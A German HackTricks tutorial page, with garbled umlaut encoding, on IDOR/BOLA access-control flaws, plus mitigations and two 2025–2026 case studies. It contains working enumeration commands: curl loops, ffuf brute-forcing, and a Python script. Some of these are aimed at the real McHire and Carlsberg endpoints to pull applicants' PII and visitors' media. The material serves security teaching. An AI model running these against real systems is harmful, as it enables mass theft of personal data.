IDOR (Insecure Direct Object Reference)
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) erscheint, wenn ein Web- oder API-Endpunkt einen benutzersteuerbaren Identifikator offenlegt oder akzeptiert, der direkt verwendet wird, um auf ein internes Objekt zuzugreifen, ohne zu ĂŒberprĂŒfen, ob der Aufrufer dazu berechtigt ist, auf dieses Objekt zuzugreifen/es zu verĂ€ndern. Eine erfolgreiche Ausnutzung ermöglicht typischerweise horizontale oder vertikale Privilegieneskalation, wie z. B. das Lesen oder Ăndern von Daten anderer Benutzer und im schlimmsten Fall vollstĂ€ndige Account-Ăbernahme oder massenhafte Datenexfiltration.
1. Potenzielle IDORs identifizieren
- Suche nach Parametern, die auf ein Objekt verweisen:
- Pfad:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- Bevorzuge Endpunkte, die Daten lesen oder aktualisieren (
GET,PUT,PATCH,DELETE). - Achte darauf, ob Identifikatoren sequenziell oder vorhersagbar sind â wenn deine ID
64185742ist, existiert wahrscheinlich64185741. - Untersuche versteckte oder alternative Flows (z. B. âParadox team membersâ link in login pages), die zusĂ€tzliche APIs offenlegen könnten.
- Verwende eine authentifizierte Sitzung mit geringen Rechten und Àndere nur die ID wÀhrend du denselben token/cookie beibehÀltst. Das Ausbleiben einer Autorisierungsfehlermeldung ist normalerweise ein Hinweis auf IDOR.
Quick manual tampering (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Automatisierte enumeration (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Enumerating predictable download IDs (ffuf)
Authentifizierte File-Hosting-Panels speichern hĂ€ufig pro-Benutzer-Metadaten in einer einzigen files-Tabelle und stellen einen download-Endpoint wie /download.php?id=<int> bereit. Wenn der Handler nur prĂŒft, ob die ID existiert (und nicht, ob sie dem authentifizierten Benutzer gehört), kannst du den Integer-Bereich mit deinem gĂŒltigen Session-Cookie durchsuchen und die Backups/Configs anderer Tenants stehlen:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-frentfernt 404-artige Templates, sodass nur echte Treffer ĂŒbrig bleiben (z. B. IDs 54/150 leaking full site backups and signing material).- Der gleiche FFUF-Workflow funktioniert mit Burp Intruder oder einer curl-Schleife â stellen Sie nur sicher, dass Sie eingeloggt bleiben, wĂ€hrend Sie die IDs inkrementieren.
Error-response oracle for user/file enumeration
Wenn ein Download-Endpoint sowohl einen username als auch einen filename akzeptiert (z. B. /view.php?username=<u>&file=<f>), fĂŒhren subtile Unterschiede in Fehlermeldungen oft zu einem oracle:
- Nicht vorhandener username â âUser not foundâ
- Fehlerhafter filename, aber gĂŒltige extension â âFile does not existâ (manchmal listet er auch verfĂŒgbare Dateien auf)
- UngĂŒltige extension â Validierungsfehler
Mit einer beliebigen authentifizierten Sitzung können Sie den username-Parameter per Fuzzing testen, wĂ€hrend Sie einen harmlosen filename beibehalten, und auf den âuser not foundâ-String filtern, um gĂŒltige Benutzer zu entdecken:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Sobald gĂŒltige Benutzernamen identifiziert wurden, Dateien direkt anfordern (z. B., /view.php?username=amanda&file=privacy.odt). Dieses Muster fĂŒhrt hĂ€ufig zur unbefugten Offenlegung von Dokumenten anderer Benutzer und zu credential leakage.
2. Echte Fallstudie â McHire Chatbot Platform (2025)
WĂ€hrend einer Bewertung des von Paradox.ai unterstĂŒtzten McHire Recruiting-Portals wurde die folgende IDOR entdeckt:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: user session cookie for any restaurant test account
- Body parameter:
{"lead_id": N}â 8-digit, sequential numeric identifier
Durch Verringern von lead_id konnte der Tester beliebige Bewerberdaten einschlieĂlich full PII (Name, e-mail, phone, address, shift preferences) abrufen sowie ein consumer JWT, das session hijacking ermöglichte. Die Enumeration des Bereichs 1 â 64,185,742 legte ungefĂ€hr 64 million DatensĂ€tze offen.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Kombiniert mit Standard-Admin-Zugangsdaten (123456:123456), die Zugriff auf den Test-Account gewĂ€hrten, fĂŒhrte die Schwachstelle zu einem kritischen, unternehmensweiten Daten leak.
Case Study â Armband-QR-Codes als schwache bearer tokens (2025â2026)
Flow: Besucher der Ausstellung erhielten QR-codierte ArmbĂ€nder; beim Scannen von https://homeofcarlsberg.com/memories/ lieĂ der Browser die gedruckte Armband-ID nehmen, hex-encode sie und rief ein cloudfunctions.net-Backend auf, um gespeicherte Medien (Fotos/Videos + Namen) abzurufen. Es gab no session binding oder Benutzer-Authentifizierungâknowledge of the ID = authorization.
Predictability: Armband-IDs folgten einem kurzen Muster wie C-285-100 â ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Der Suchraum wurde auf ~26M Kombinationen geschĂ€tzt, trivial online erschöpfbar.
Exploitation workflow mit Burp Intruder:
- Payload generation: Erstelle Kandidaten-IDs (z. B.
[A-Z]-###-###). Verwende einen Burp Intruder Pitchfork oder Cluster Bomb Angriff mit Positionen fĂŒr den Buchstaben und die Ziffern. FĂŒge eine payload processing rule â Add prefix/suffix â payload encoding: ASCII hex hinzu, sodass jede Anfrage den vom Backend erwarteten Hex-String ĂŒbertrĂ€gt. - Response grep: Markiere Intruder grep-match fĂŒr Marker, die nur in gĂŒltigen Antworten vorkommen (z. B. Medien-URLs/JSON-Felder). UngĂŒltige IDs lieferten typischerweise ein leeres Array/404.
- Durchsatzmessung: ~1.000.000 IDs wurden in ~2 Stunden von einem Laptop getestet (~139 req/s). Bei dieser Rate wĂŒrde der komplette Keyspace (~26M) in ~52 Stunden fallen. Der Testlauf legte bereits ~500 gĂŒltige ArmbĂ€nder offen (Videos + vollstĂ€ndige Namen).
- Rate-limiting verification: Nachdem der Anbieter Throttling behauptete, wurde die gleiche Intruder-Konfiguration erneut ausgefĂŒhrt. Identischer Durchsatz/Hit-Rate bewies, dass die Kontrolle fehlte/ineffektiv war; die Enumeration setzte sich ungehindert fort.
Quick scriptable variant (client-side hex encoding):
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
Lektion: Encoding (ASCIIâhex/Base64) fĂŒgt keine Entropie hinzu; kurze IDs werden zu bearer tokens, die trotz kosmetischer Kodierung aufzĂ€hlbar sind. Ohne benutzerbezogene Autorisierung + hochentropische Secrets können media/PII massenhaft abgeerntet werden, selbst wenn ârate limitingâ behauptet wird.
3. Auswirkungen von IDOR / BOLA
- Horizontale Eskalation â Lesen/Aktualisieren/Löschen von Daten anderer Nutzer.
- Vertikale Eskalation â ein Nutzer mit geringen Rechten erhĂ€lt nur fĂŒr Admins vorgesehene FunktionalitĂ€t.
- Massenhafte Datenpanne, wenn Identifikatoren sequenziell sind (z. B. applicant IDs, invoices).
- Account-Ăbernahme durch Stehlen von Tokens oder ZurĂŒcksetzen von Passwörtern anderer Nutzer.
4. GegenmaĂnahmen & Best Practices
- Objektbasierte Autorisierung bei jeder Anfrage durchsetzen (
user_id == session.user). - Bevorzugen von indirekten, nicht erratbaren Identifikatoren (UUIDv4, ULID) statt Auto-Increment-IDs.
- Autorisierung serverseitig durchfĂŒhren â niemals auf versteckte Formularfelder oder UI-Kontrollen vertrauen.
- RBAC / ABAC-PrĂŒfungen in einer zentralen Middleware implementieren.
- rate-limiting & logging hinzufĂŒgen, um die AufzĂ€hlung von IDs zu erkennen.
- Sicherheitstest jedes neuen Endpunkts (unit, integration und DAST).
5. Tooling
- BurpSuite-Erweiterungen: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github-Projekte:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicantsâ PII
- OWASP Top 10 â Broken Access Control
- How to Find More IDORs â Vickie Li
- HTB Nocturnal: IDOR oracle â file theft
- 0xdf â HTB Era: predictable download IDs â backups and signing keys
- Carlsberg memories wristband IDOR â predictable QR IDs + Intruder brute force (2026)
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


